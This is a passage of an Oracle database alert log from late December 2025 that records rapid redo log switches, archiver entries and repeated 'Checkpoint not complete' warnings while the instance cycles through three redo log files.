/u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:21:27.846193+08:00 ARC1 (PID:1867): Archived Log entry 2527 added for T-1.S-2531 ID 0x75f9c04b LAD:1 2025-12-27T23:21:27.888068+08:00 Thread 1 cannot allocate new log, sequence 2533 Checkpoint not complete Current log# 1 seq# 2532 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:21:30.897402+08:00 Thread 1 advanced to log sequence 2533 (LGWR switch) Current log# 2 seq# 2533 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:21:30.942619+08:00 ARC2 (PID:1869): Archived Log entry 2528 added for T-1.S-2532 ID 0x75f9c04b LAD:1 2025-12-27T23:21:30.988011+08:00 Thread 1 cannot allocate new log, sequence 2534 Checkpoint not complete Current log# 2 seq# 2533 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:21:34.028987+08:00 Thread 1 advanced to log sequence 2534 (LGWR switch) Current log# 3 seq# 2534 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:21:34.071222+08:00 ARC3 (PID:1871): Archived Log entry 2529 added for T-1.S-2533 ID 0x75f9c04b LAD:1 2025-12-27T23:21:34.112193+08:00 Thread 1 cannot allocate new log, sequence 2535 Checkpoint not complete Current log# 3 seq# 2534 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:21:37.098146+08:00 Thread 1 advanced to log sequence 2535 (LGWR switch) Current log# 1 seq# 2535 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:21:37.139057+08:00 ARC0 (PID:1861): Archived Log entry 2530 added for T-1.S-2534 ID 0x75f9c04b LAD:1 2025-12-27T23:21:37.181416+08:00 Thread 1 cannot allocate new log, sequence 2536 Checkpoint not complete Current log# 1 seq# 2535 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:21:40.215666+08:00 Thread 1 advanced to log sequence 2536 (LGWR switch) Current log# 2 seq# 2536 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:21:40.261413+08:00 ARC1 (PID:1867): Archived Log entry 2531 added for T-1.S-2535 ID 0x75f9c04b LAD:1 2025-12-27T23:21:40.299903+08:00 Thread 1 cannot allocate new log, sequence 2537 Checkpoint not complete Current log# 2 seq# 2536 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:21:43.320250+08:00 Thread 1 advanced to log sequence 2537 (LGWR switch) Current log# 3 seq# 2537 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:21:43.366347+08:00 ARC2 (PID:1869): Archived Log entry 2532 added for T-1.S-2536 ID 0x75f9c04b LAD:1 2025-12-27T23:21:43.405372+08:00 Thread 1 cannot allocate new log, sequence 2538 Checkpoint not complete Current log# 3 seq# 2537 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:21:46.434875+08:00 Thread 1 advanced to log sequence 2538 (LGWR switch) Current log# 1 seq# 2538 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:21:46.483540+08:00 ARC3 (PID:1871): Archived Log entry 2533 added for T-1.S-2537 ID 0x75f9c04b LAD:1 2025-12-27T23:21:46.520017+08:00 Thread 1 cannot allocate new log, sequence 2539 Checkpoint not complete Current log# 1 seq# 2538 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:21:49.535344+08:00 Thread 1 advanced to log sequence 2539 (LGWR switch) Current log# 2 seq# 2539 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:21:49.582468+08:00 ARC0 (PID:1861): Archived Log entry 2534 added for T-1.S-2538 ID 0x75f9c04b LAD:1 2025-12-27T23:21:49.627008+08:00 Thread 1 cannot allocate new log, sequence 2540 Checkpoint not complete Current log# 2 seq# 2539 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:21:52.645651+08:00 Thread 1 advanced to log sequence 2540 (LGWR switch) Current log# 3 seq# 2540 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:21:52.682780+08:00 ARC1 (PID:1867): Archived Log entry 2535 added for T-1.S-2539 ID 0x75f9c04b LAD:1 2025-12-27T23:21:52.727414+08:00 Thread 1 cannot allocate new log, sequence 2541 Checkpoint not complete Current log# 3 seq# 2540 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:21:55.734228+08:00 Thread 1 advanced to log sequence 2541 (LGWR switch) Current log# 1 seq# 2541 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:21:55.779978+08:00 ARC2 (PID:1869): Archived Log entry 2536 added for T-1.S-2540 ID 0x75f9c04b LAD:1 2025-12-27T23:21:55.820118+08:00 Thread 1 cannot allocate new log, sequence 2542 Checkpoint not complete Current log# 1 seq# 2541 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:21:58.863888+08:00 Thread 1 advanced to log sequence 2542 (LGWR switch) Current log# 2 seq# 2542 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:21:58.907018+08:00 ARC3 (PID:1871): Archived Log entry 2537 added for T-1.S-2541 ID 0x75f9c04b LAD:1 2025-12-27T23:21:58.947211+08:00 Thread 1 cannot allocate new log, sequence 2543 Checkpoint not complete Current log# 2 seq# 2542 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:22:01.957319+08:00 Thread 1 advanced to log sequence 2543 (LGWR switch) Current log# 3 seq# 2543 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:22:02.003626+08:00 ARC0 (PID:1861): Archived Log entry 2538 added for T-1.S-2542 ID 0x75f9c04b LAD:1 2025-12-27T23:22:02.059615+08:00 Thread 1 cannot allocate new log, sequence 2544 Checkpoint not complete Current log# 3 seq# 2543 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:22:05.061832+08:00 Thread 1 advanced to log sequence 2544 (LGWR switch) Current log# 1 seq# 2544 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:22:05.118831+08:00 ARC1 (PID:1867): Archived Log entry 2539 added for T-1.S-2543 ID 0x75f9c04b LAD:1 2025-12-27T23:22:05.152131+08:00 Thread 1 cannot allocate new log, sequence 2545 Checkpoint not complete Current log# 1 seq# 2544 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:22:08.201781+08:00 Thread 1 advanced to log sequence 2545 (LGWR switch) Current log# 2 seq# 2545 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:22:08.247389+08:00 ARC2 (PID:1869): Archived Log entry 2540 added for T-1.S-2544 ID 0x75f9c04b LAD:1 2025-12-27T23:22:08.289083+08:00 Thread 1 cannot allocate new log, sequence 2546 Checkpoint not complete Current log# 2 seq# 2545 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:22:11.305314+08:00 Thread 1 advanced to log sequence 2546 (LGWR switch) Current log# 3 seq# 2546 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:22:11.357399+08:00 ARC3 (PID:1871): Archived Log entry 2541 added for T-1.S-2545 ID 0x75f9c04b LAD:1 2025-12-27T23:22:11.400061+08:00 Thread 1 cannot allocate new log, sequence 2547 Checkpoint not complete Current log# 3 seq# 2546 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:22:14.400454+08:00 Thread 1 advanced to log sequence 2547 (LGWR switch) Current log# 1 seq# 2547 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:22:14.449344+08:00 ARC0 (PID:1861): Archived Log entry 2542 added for T-1.S-2546 ID 0x75f9c04b LAD:1 2025-12-27T23:22:14.511229+08:00 Thread 1 cannot allocate new log, sequence 2548 Checkpoint not complete Current log# 1 seq# 2547 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:22:17.508334+08:00 Thread 1 advanced to log sequence 2548 (LGWR switch) Current log# 2 seq# 2548 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:22:17.568072+08:00 ARC1 (PID:1867): Archived Log entry 2543 added for T-1.S-2547 ID 0x75f9c04b LAD:1 2025-12-27T23:22:17.603989+08:00 Thread 1 cannot allocate new log, sequence 2549 Checkpoint not complete Current log# 2 seq# 2548 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:22:20.608988+08:00 Thread 1 advanced to log sequence 2549 (LGWR switch) Current log# 3 seq# 2549 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:22:20.652687+08:00 ARC2 (PID:1869): Archived Log entry 2544 added for T-1.S-2548 ID 0x75f9c04b LAD:1 2025-12-27T23:22:20.694215+08:00 Thread 1 cannot allocate new log, sequence 2550 Checkpoint not complete Current log# 3 seq# 2549 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:22:23.747960+08:00 Thread 1 advanced to log sequence 2550 (LGWR switch) Current log# 1 seq# 2550 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:22:23.788226+08:00 ARC3 (PID:1871): Archived Log entry 2545 added for T-1.S-2549 ID 0x75f9c04b LAD:1 2025-12-27T23:22:23.828195+08:00 Thread 1 cannot allocate new log, sequence 2551 Checkpoint not complete Current log# 1 seq# 2550 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:22:26.808466+08:00 Thread 1 advanced to log sequence 2551 (LGWR switch) Current log# 2 seq# 2551 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:22:26.856524+08:00 ARC0 (PID:1861): Archived Log entry 2546 added for T-1.S-2550 ID 0x75f9c04b LAD:1 2025-12-27T23:22:26.899291+08:00 Thread 1 cannot allocate new log, sequence 2552 Checkpoint not complete Current log# 2 seq# 2551 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:22:29.931797+08:00 Thread 1 advanced to log sequence 2552 (LGWR switch) Current log# 3 seq# 2552 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:22:29.973922+08:00 ARC1 (PID:1867): Archived Log entry 2547 added for T-1.S-2551 ID 0x75f9c04b LAD:1 2025-12-27T23:22:30.012024+08:00 Thread 1 cannot allocate new log, sequence 2553 Checkpoint not complete Current log# 3 seq# 2552 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:22:33.039401+08:00 Thread 1 advanced to log sequence 2553 (LGWR switch) Current log# 1 seq# 2553 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:22:33.080884+08:00 ARC2 (PID:1869): Archived Log entry 2548 added for T-1.S-2552 ID 0x75f9c04b LAD:1 2025-12-27T23:22:33.121808+08:00 Thread 1 cannot allocate new log, sequence 2554 Checkpoint not complete Current log# 1 seq# 2553 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:22:36.138481+08:00 Thread 1 advanced to log sequence 2554 (LGWR switch) Current log# 2 seq# 2554 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:22:36.170083+08:00 ARC3 (PID:1871): Archived Log entry 2549 added for T-1.S-2553 ID 0x75f9c04b LAD:1 2025-12-27T23:22:36.231420+08:00 Thread 1 cannot allocate new log, sequence 2555 Checkpoint not complete Current log# 2 seq# 2554 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:22:39.230039+08:00 Thread 1 advanced to log sequence 2555 (LGWR switch) Current log# 3 seq# 2555 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:22:39.278698+08:00 ARC0 (PID:1861): Archived Log entry 2550 added for T-1.S-2554 ID 0x75f9c04b LAD:1 2025-12-27T23:22:39.319170+08:00 Thread 1 cannot allocate new log, sequence 2556 Checkpoint not complete Current log# 3 seq# 2555 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:22:42.344454+08:00 Thread 1 advanced to log sequence 2556 (LGWR switch) Current log# 1 seq# 2556 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:22:42.370825+08:00 ARC1 (PID:1867): Archived Log entry 2551 added for T-1.S-2555 ID 0x75f9c04b LAD:1 2025-12-27T23:22:42.415582+08:00 Thread 1 cannot allocate new log, sequence 2557 Checkpoint not complete Current log# 1 seq# 2556 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:22:45.521890+08:00 Thread 1 advanced to log sequence 2557 (LGWR switch) Current log# 2 seq# 2557 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:22:45.574143+08:00 ARC2 (PID:1869): Archived Log entry 2552 added for T-1.S-2556 ID 0x75f9c04b LAD:1 2025-12-27T23:22:45.614350+08:00 Thread 1 cannot allocate new log, sequence 2558 Checkpoint not complete Current log# 2 seq# 2557 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:22:48.714032+08:00 Thread 1 advanced to log sequence 2558 (LGWR switch) Current log# 3 seq# 2558 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:22:48.760785+08:00 ARC3 (PID:1871): Archived Log entry 2553 added for T-1.S-2557 ID 0x75f9c04b LAD:1 2025-12-27T23:22:48.802186+08:00 Thread 1 cannot allocate new log, sequence 2559 Checkpoint not complete Current log# 3 seq# 2558 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:22:51.864153+08:00 Thread 1 advanced to log sequence 2559 (LGWR switch) Current log# 1 seq# 2559 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:22:51.907968+08:00 ARC0 (PID:1861): Archived Log entry 2554 added for T-1.S-2558 ID 0x75f9c04b LAD:1 2025-12-27T23:22:51.954759+08:00 Thread 1 cannot allocate new log, sequence 2560 Checkpoint not complete Current log# 1 seq# 2559 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:22:55.014849+08:00 Thread 1 advanced to log sequence 2560 (LGWR switch) Current log# 2 seq# 2560 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:22:55.061478+08:00 ARC1 (PID:1867): Archived Log entry 2555 added for T-1.S-2559 ID 0x75f9c04b LAD:1 2025-12-27T23:22:55.114056+08:00 Thread 1 cannot allocate new log, sequence 2561 Checkpoint not complete Current log# 2 seq# 2560 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:22:58.133990+08:00 Thread 1 advanced to log sequence 2561 (LGWR switch) Current log# 3 seq# 2561 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:22:58.181631+08:00 ARC2 (PID:1869): Archived Log entry 2556 added for T-1.S-2560 ID 0x75f9c04b LAD:1 2025-12-27T23:22:58.217205+08:00 Thread 1 cannot allocate new log, sequence 2562 Checkpoint not complete Current log# 3 seq# 2561 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:23:01.224320+08:00 Thread 1 advanced to log sequence 2562 (LGWR switch) Current log# 1 seq# 2562 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:23:01.270853+08:00 ARC3 (PID:1871): Archived Log entry 2557 added for T-1.S-2561 ID 0x75f9c04b LAD:1 2025-12-27T23:23:01.317830+08:00 Thread 1 cannot allocate new log, sequence 2563 Checkpoint not complete Current log# 1 seq# 2562 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:23:04.375020+08:00 Thread 1 advanced to log sequence 2563 (LGWR switch) Current log# 2 seq# 2563 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:23:04.421421+08:00 ARC0 (PID:1861): Archived Log entry 2558 added for T-1.S-2562 ID 0x75f9c04b LAD:1 2025-12-27T23:23:04.466223+08:00 Thread 1 cannot allocate new log, sequence 2564 Checkpoint not complete Current log# 2 seq# 2563 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:23:07.521794+08:00 Thread 1 advanced to log sequence 2564 (LGWR switch) Current log# 3 seq# 2564 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:23:07.569469+08:00 ARC1 (PID:1867): Archived Log entry 2559 added for T-1.S-2563 ID 0x75f9c04b LAD:1 2025-12-27T23:23:07.613147+08:00 Thread 1 cannot allocate new log, sequence 2565 Checkpoint not complete Current log# 3 seq# 2564 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:23:10.676241+08:00 Thread 1 advanced to log sequence 2565 (LGWR switch) Current log# 1 seq# 2565 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:23:10.706733+08:00 ARC2 (PID:1869): Archived Log entry 2560 added for T-1.S-2564 ID 0x75f9c04b LAD:1 2025-12-27T23:23:10.752112+08:00 Thread 1 cannot allocate new log, sequence 2566 Checkpoint not complete Current log# 1 seq# 2565 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:23:13.823257+08:00 Thread 1 advanced to log sequence 2566 (LGWR switch) Current log# 2 seq# 2566 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:23:13.871739+08:00 ARC3 (PID:1871): Archived Log entry 2561 added for T-1.S-2565 ID 0x75f9c04b LAD:1 2025-12-27T23:23:13.910182+08:00 Thread 1 cannot allocate new log, sequence 2567 Checkpoint not complete Current log# 2 seq# 2566 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:23:16.965713+08:00 Thread 1 advanced to log sequence 2567 (LGWR switch) Current log# 3 seq# 2567 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:23:17.012489+08:00 ARC0 (PID:1861): Archived Log entry 2562 added for T-1.S-2566 ID 0x75f9c04b LAD:1 2025-12-27T23:23:17.056691+08:00 Thread 1 cannot allocate new log, sequence 2568 Checkpoint not complete Current log# 3 seq# 2567 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:23:20.083847+08:00 Thread 1 advanced to log sequence 2568 (LGWR switch) Current log# 1 seq# 2568 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:23:20.133307+08:00 ARC1 (PID:1867): Archived Log entry 2563 added for T-1.S-2567 ID 0x75f9c04b LAD:1 2025-12-27T23:23:20.172886+08:00 Thread 1 cannot allocate new log, sequence 2569 Checkpoint not complete Current log# 1 seq# 2568 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:23:23.247491+08:00 Thread 1 advanced to log sequence 2569 (LGWR switch) Current log# 2 seq# 2569 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:23:23.295944+08:00 ARC2 (PID:1869): Archived Log entry 2564 added for T-1.S-2568 ID 0x75f9c04b LAD:1 2025-12-27T23:23:23.347308+08:00 Thread 1 cannot allocate new log, sequence 2570 Checkpoint not complete Current log# 2 seq# 2569 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:23:26.305187+08:00 Thread 1 advanced to log sequence 2570 (LGWR switch) Current log# 3 seq# 2570 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:23:26.329855+08:00 ARC3 (PID:1871): Archived Log entry 2565 added for T-1.S-2569 ID 0x75f9c04b LAD:1 2025-12-27T23:23:26.374112+08:00 Thread 1 cannot allocate new log, sequence 2571 Checkpoint not complete Current log# 3 seq# 2570 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:23:29.425204+08:00 Thread 1 advanced to log sequence 2571 (LGWR switch) Current log# 1 seq# 2571 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:23:29.464616+08:00 ARC0 (PID:1861): Archived Log entry 2566 added for T-1.S-2570 ID 0x75f9c04b LAD:1 2025-12-27T23:23:29.507905+08:00 Thread 1 cannot allocate new log, sequence 2572 Checkpoint not complete Current log# 1 seq# 2571 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:23:32.572203+08:00 Thread 1 advanced to log sequence 2572 (LGWR switch) Current log# 2 seq# 2572 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:23:32.612958+08:00 ARC1 (PID:1867): Archived Log entry 2567 added for T-1.S-2571 ID 0x75f9c04b LAD:1 2025-12-27T23:23:32.658285+08:00 Thread 1 cannot allocate new log, sequence 2573 Checkpoint not complete Current log# 2 seq# 2572 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:23:35.719852+08:00 Thread 1 advanced to log sequence 2573 (LGWR switch) Current log# 3 seq# 2573 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:23:35.761106+08:00 ARC2 (PID:1869): Archived Log entry 2568 added for T-1.S-2572 ID 0x75f9c04b LAD:1 2025-12-27T23:23:35.806415+08:00 Thread 1 cannot allocate new log, sequence 2574 Checkpoint not complete Current log# 3 seq# 2573 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:23:38.869311+08:00 Thread 1 advanced to log sequence 2574 (LGWR switch) Current log# 1 seq# 2574 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:23:38.917688+08:00 ARC3 (PID:1871): Archived Log entry 2569 added for T-1.S-2573 ID 0x75f9c04b LAD:1 2025-12-27T23:23:38.954944+08:00 Thread 1 cannot allocate new log, sequence 2575 Checkpoint not complete Current log# 1 seq# 2574 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:23:41.934130+08:00 Thread 1 advanced to log sequence 2575 (LGWR switch) Current log# 2 seq# 2575 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:23:41.974262+08:00 ARC0 (PID:1861): Archived Log entry 2570 added for T-1.S-2574 ID 0x75f9c04b LAD:1 2025-12-27T23:23:42.025669+08:00 Thread 1 cannot allocate new log, sequence 2576 Checkpoint not complete Current log# 2 seq# 2575 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:23:45.055214+08:00 Thread 1 advanced to log sequence 2576 (LGWR switch) Current log# 3 seq# 2576 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:23:45.094234+08:00 ARC1 (PID:1867): Archived Log entry 2571 added for T-1.S-2575 ID 0x75f9c04b LAD:1 2025-12-27T23:23:45.136992+08:00 Thread 1 cannot allocate new log, sequence 2577 Checkpoint not complete Current log# 3 seq# 2576 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:23:48.190238+08:00 Thread 1 advanced to log sequence 2577 (LGWR switch) Current log# 1 seq# 2577 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:23:48.236616+08:00 ARC2 (PID:1869): Archived Log entry 2572 added for T-1.S-2576 ID 0x75f9c04b LAD:1 2025-12-27T23:23:48.279101+08:00 Thread 1 cannot allocate new log, sequence 2578 Checkpoint not complete Current log# 1 seq# 2577 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:23:51.312266+08:00 Thread 1 advanced to log sequence 2578 (LGWR switch) Current log# 2 seq# 2578 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:23:51.355989+08:00 ARC3 (PID:1871): Archived Log entry 2573 added for T-1.S-2577 ID 0x75f9c04b LAD:1 2025-12-27T23:23:51.400853+08:00 Thread 1 cannot allocate new log, sequence 2579 Checkpoint not complete Current log# 2 seq# 2578 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:23:54.384452+08:00 Thread 1 advanced to log sequence 2579 (LGWR switch) Current log# 3 seq# 2579 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:23:54.426280+08:00 ARC0 (PID:1861): Archived Log entry 2574 added for T-1.S-2578 ID 0x75f9c04b LAD:1 2025-12-27T23:23:54.470297+08:00 Thread 1 cannot allocate new log, sequence 2580 Checkpoint not complete Current log# 3 seq# 2579 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:23:57.498259+08:00 Thread 1 advanced to log sequence 2580 (LGWR switch) Current log# 1 seq# 2580 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:23:57.543058+08:00 ARC1 (PID:1867): Archived Log entry 2575 added for T-1.S-2579 ID 0x75f9c04b LAD:1 2025-12-27T23:23:57.587233+08:00 Thread 1 cannot allocate new log, sequence 2581 Checkpoint not complete Current log# 1 seq# 2580 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:24:00.645398+08:00 Thread 1 advanced to log sequence 2581 (LGWR switch) Current log# 2 seq# 2581 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:24:00.692121+08:00 ARC2 (PID:1869): Archived Log entry 2576 added for T-1.S-2580 ID 0x75f9c04b LAD:1 2025-12-27T23:24:00.734192+08:00 Thread 1 cannot allocate new log, sequence 2582 Checkpoint not complete Current log# 2 seq# 2581 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:24:03.813606+08:00 Thread 1 advanced to log sequence 2582 (LGWR switch) Current log# 3 seq# 2582 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:24:03.857605+08:00 ARC3 (PID:1871): Archived Log entry 2577 added for T-1.S-2581 ID 0x75f9c04b LAD:1 2025-12-27T23:24:03.902798+08:00 Thread 1 cannot allocate new log, sequence 2583 Checkpoint not complete Current log# 3 seq# 2582 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:24:06.965495+08:00 Thread 1 advanced to log sequence 2583 (LGWR switch) Current log# 1 seq# 2583 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:24:07.015668+08:00 ARC0 (PID:1861): Archived Log entry 2578 added for T-1.S-2582 ID 0x75f9c04b LAD:1 2025-12-27T23:24:07.055695+08:00 Thread 1 cannot allocate new log, sequence 2584 Checkpoint not complete Current log# 1 seq# 2583 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:24:10.081291+08:00 Thread 1 advanced to log sequence 2584 (LGWR switch) Current log# 2 seq# 2584 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:24:10.117483+08:00 ARC1 (PID:1867): Archived Log entry 2579 added for T-1.S-2583 ID 0x75f9c04b LAD:1 2025-12-27T23:24:10.160448+08:00 Thread 1 cannot allocate new log, sequence 2585 Checkpoint not complete Current log# 2 seq# 2584 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:24:13.186127+08:00 Thread 1 advanced to log sequence 2585 (LGWR switch) Current log# 3 seq# 2585 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:24:13.227715+08:00 ARC2 (PID:1869): Archived Log entry 2580 added for T-1.S-2584 ID 0x75f9c04b LAD:1 2025-12-27T23:24:13.271620+08:00 Thread 1 cannot allocate new log, sequence 2586 Checkpoint not complete Current log# 3 seq# 2585 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:24:16.339833+08:00 Thread 1 advanced to log sequence 2586 (LGWR switch) Current log# 1 seq# 2586 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:24:16.382944+08:00 ARC3 (PID:1871): Archived Log entry 2581 added for T-1.S-2585 ID 0x75f9c04b LAD:1 2025-12-27T23:24:16.424976+08:00 Thread 1 cannot allocate new log, sequence 2587 Checkpoint not complete Current log# 1 seq# 2586 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:24:19.497272+08:00 Thread 1 advanced to log sequence 2587 (LGWR switch) Current log# 2 seq# 2587 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:24:19.545533+08:00 ARC0 (PID:1861): Archived Log entry 2582 added for T-1.S-2586 ID 0x75f9c04b LAD:1 2025-12-27T23:24:19.590822+08:00 Thread 1 cannot allocate new log, sequence 2588 Checkpoint not complete Current log# 2 seq# 2587 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:24:22.650977+08:00 Thread 1 advanced to log sequence 2588 (LGWR switch) Current log# 3 seq# 2588 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:24:22.686617+08:00 ARC1 (PID:1867): Archived Log entry 2583 added for T-1.S-2587 ID 0x75f9c04b LAD:1 2025-12-27T23:24:22.739043+08:00 Thread 1 cannot allocate new log, sequence 2589 Checkpoint not complete Current log# 3 seq# 2588 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:24:25.773887+08:00 Thread 1 advanced to log sequence 2589 (LGWR switch) Current log# 1 seq# 2589 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:24:25.810469+08:00 ARC2 (PID:1869): Archived Log entry 2584 added for T-1.S-2588 ID 0x75f9c04b LAD:1 2025-12-27T23:24:25.844175+08:00 Thread 1 cannot allocate new log, sequence 2590 Checkpoint not complete Current log# 1 seq# 2589 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:24:28.892324+08:00 Thread 1 advanced to log sequence 2590 (LGWR switch) Current log# 2 seq# 2590 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:24:28.938462+08:00 ARC3 (PID:1871): Archived Log entry 2585 added for T-1.S-2589 ID 0x75f9c04b LAD:1 2025-12-27T23:24:28.983715+08:00 Thread 1 cannot allocate new log, sequence 2591 Checkpoint not complete Current log# 2 seq# 2590 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:24:32.000259+08:00 Thread 1 advanced to log sequence 2591 (LGWR switch) Current log# 3 seq# 2591 mem# 0: 